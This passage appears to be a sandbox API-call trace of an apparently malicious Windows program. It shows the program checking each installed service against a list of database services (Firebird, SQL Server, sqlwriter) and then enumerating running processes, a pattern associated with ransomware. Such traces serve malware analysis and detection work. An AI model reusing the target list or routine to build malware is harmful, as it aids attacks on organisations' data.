lpString2="DoSvc") returned 1 [0214.065] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0214.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0214.065] lstrlenW (lpString="DPS") returned 3 [0214.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0214.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0214.065] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0214.065] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0214.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0214.065] lstrlenW (lpString="DusmSvc") returned 7 [0214.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0214.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0214.065] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0214.065] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0214.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0214.066] lstrlenW (lpString="EventLog") returned 8 [0214.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0214.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0214.066] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0214.066] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0214.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0214.066] lstrlenW (lpString="EventSystem") returned 11 [0214.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0214.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0214.066] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0214.066] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0214.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0214.066] lstrlenW (lpString="FontCache") returned 9 [0214.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0214.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0214.066] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0214.066] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0214.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0214.066] lstrlenW (lpString="gpsvc") returned 5 [0214.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0214.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0214.066] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0214.066] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0214.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0214.066] lstrlenW (lpString="iphlpsvc") returned 8 [0214.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0214.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0214.066] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0214.066] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0214.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0214.066] lstrlenW (lpString="KeyIso") returned 6 [0214.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0214.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0214.066] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0214.066] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0214.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0214.066] lstrlenW (lpString="LanmanServer") returned 12 [0214.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0214.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0214.067] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0214.067] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0214.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0214.067] lstrlenW (lpString="LanmanWorkstation") returned 17 [0214.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0214.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0214.067] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0214.067] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0214.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0214.067] lstrlenW (lpString="lfsvc") returned 5 [0214.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0214.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0214.067] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0214.067] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0214.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0214.067] lstrlenW (lpString="LicenseManager") returned 14 [0214.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0214.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0214.067] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0214.067] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0214.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0214.067] lstrlenW (lpString="lmhosts") returned 7 [0214.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0214.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0214.067] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0214.067] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0214.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0214.067] lstrlenW (lpString="LSM") returned 3 [0214.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0214.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0214.067] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0214.067] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0214.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0214.067] lstrlenW (lpString="MpsSvc") returned 6 [0214.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0214.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0214.068] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0214.068] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0214.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0214.068] lstrlenW (lpString="NcbService") returned 10 [0214.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0214.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0214.068] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0214.068] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0214.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0214.068] lstrlenW (lpString="netprofm") returned 8 [0214.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0214.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0214.068] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0214.068] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0214.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0214.068] lstrlenW (lpString="NlaSvc") returned 6 [0214.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0214.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0214.068] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0214.068] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0214.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0214.068] lstrlenW (lpString="nsi") returned 3 [0214.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0214.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0214.068] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0214.068] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0214.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0214.068] lstrlenW (lpString="PcaSvc") returned 6 [0214.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0214.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0214.068] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0214.068] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0214.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0214.069] lstrlenW (lpString="PlugPlay") returned 8 [0214.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0214.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0214.069] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0214.069] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0214.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0214.069] lstrlenW (lpString="Power") returned 5 [0214.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0214.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0214.069] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0214.069] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0214.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0214.069] lstrlenW (lpString="ProfSvc") returned 7 [0214.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0214.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0214.069] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0214.069] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0214.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0214.069] lstrlenW (lpString="RpcEptMapper") returned 12 [0214.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0214.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0214.069] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0214.069] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0214.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0214.069] lstrlenW (lpString="RpcSs") returned 5 [0214.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0214.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0214.069] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0214.069] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0214.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0214.069] lstrlenW (lpString="SamSs") returned 5 [0214.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0214.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0214.069] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0214.069] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0214.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0214.070] lstrlenW (lpString="Schedule") returned 8 [0214.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0214.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0214.070] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0214.070] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0214.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0214.070] lstrlenW (lpString="SecurityHealthService") returned 21 [0214.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0214.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0214.070] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0214.070] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0214.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0214.070] lstrlenW (lpString="SENS") returned 4 [0214.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0214.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0214.071] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0214.071] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0214.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0214.071] lstrlenW (lpString="ShellHWDetection") returned 16 [0214.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0214.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0214.071] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0214.071] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0214.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0214.071] lstrlenW (lpString="Spooler") returned 7 [0214.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0214.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0214.071] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0214.071] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0214.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0214.071] lstrlenW (lpString="SSDPSRV") returned 7 [0214.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0214.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0214.071] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0214.071] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0214.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0214.071] lstrlenW (lpString="StateRepository") returned 15 [0214.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0214.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0214.071] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0214.071] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0214.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0214.071] lstrlenW (lpString="SysMain") returned 7 [0214.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0214.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0214.072] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0214.072] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0214.072] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x801a48 | out: hHeap=0x790000) returned 1 [0214.072] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x364 [0214.075] Process32FirstW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0214.076] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0214.076] lstrlenW (lpString="System") returned 6 [0214.076] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0214.077] lstrlenW (lpString="smss.exe") returned 8 [0214.077] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0214.078] lstrlenW (lpString="csrss.exe") returned 9 [0214.078] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0214.103] lstrlenW (lpString="wininit.exe") returned 11 [0214.103] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0214.104] lstrlenW (lpString="csrss.exe") returned 9 [0214.104] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0214.105] lstrlenW (lpString="winlogon.exe") returned 12 [0214.105] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0214.106] lstrlenW (lpString="services.exe") returned 12 [0214.106] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0214.107] lstrlenW (lpString="lsass.exe") returned 9 [0214.107] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.107] lstrlenW (lpString="svchost.exe") returned 11 [0214.107] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0214.108] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0214.108] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0214.109] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0214.109] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.110] lstrlenW (lpString="svchost.exe") returned 11 [0214.110] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0214.111] lstrlenW (lpString="dwm.exe") returned 7 [0214.111] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x57, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.111] lstrlenW (lpString="svchost.exe") returned 11 [0214.112] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.112] lstrlenW (lpString="svchost.exe") returned 11 [0214.112] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.113] lstrlenW (lpString="svchost.exe") returned 11 [0214.113] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.114] lstrlenW (lpString="svchost.exe") returned 11 [0214.114] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.114] lstrlenW (lpString="svchost.exe") returned 11 [0214.115] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.115] lstrlenW (lpString="svchost.exe") returned 11 [0214.115] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.116] lstrlenW (lpString="svchost.exe") returned 11 [0214.116] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.117] lstrlenW (lpString="svchost.exe") returned 11 [0214.117] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.118] lstrlenW (lpString="svchost.exe") returned 11 [0214.118] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0214.118] lstrlenW (lpString="spoolsv.exe") returned 11 [0214.118] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.119] lstrlenW (lpString="svchost.exe") returned 11 [0214.119] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.120] lstrlenW (lpString="svchost.exe") returned 11 [0214.120] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0214.120] lstrlenW (lpString="audiodg.exe") returned 11 [0214.120] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0214.121] lstrlenW (lpString="sihost.exe") 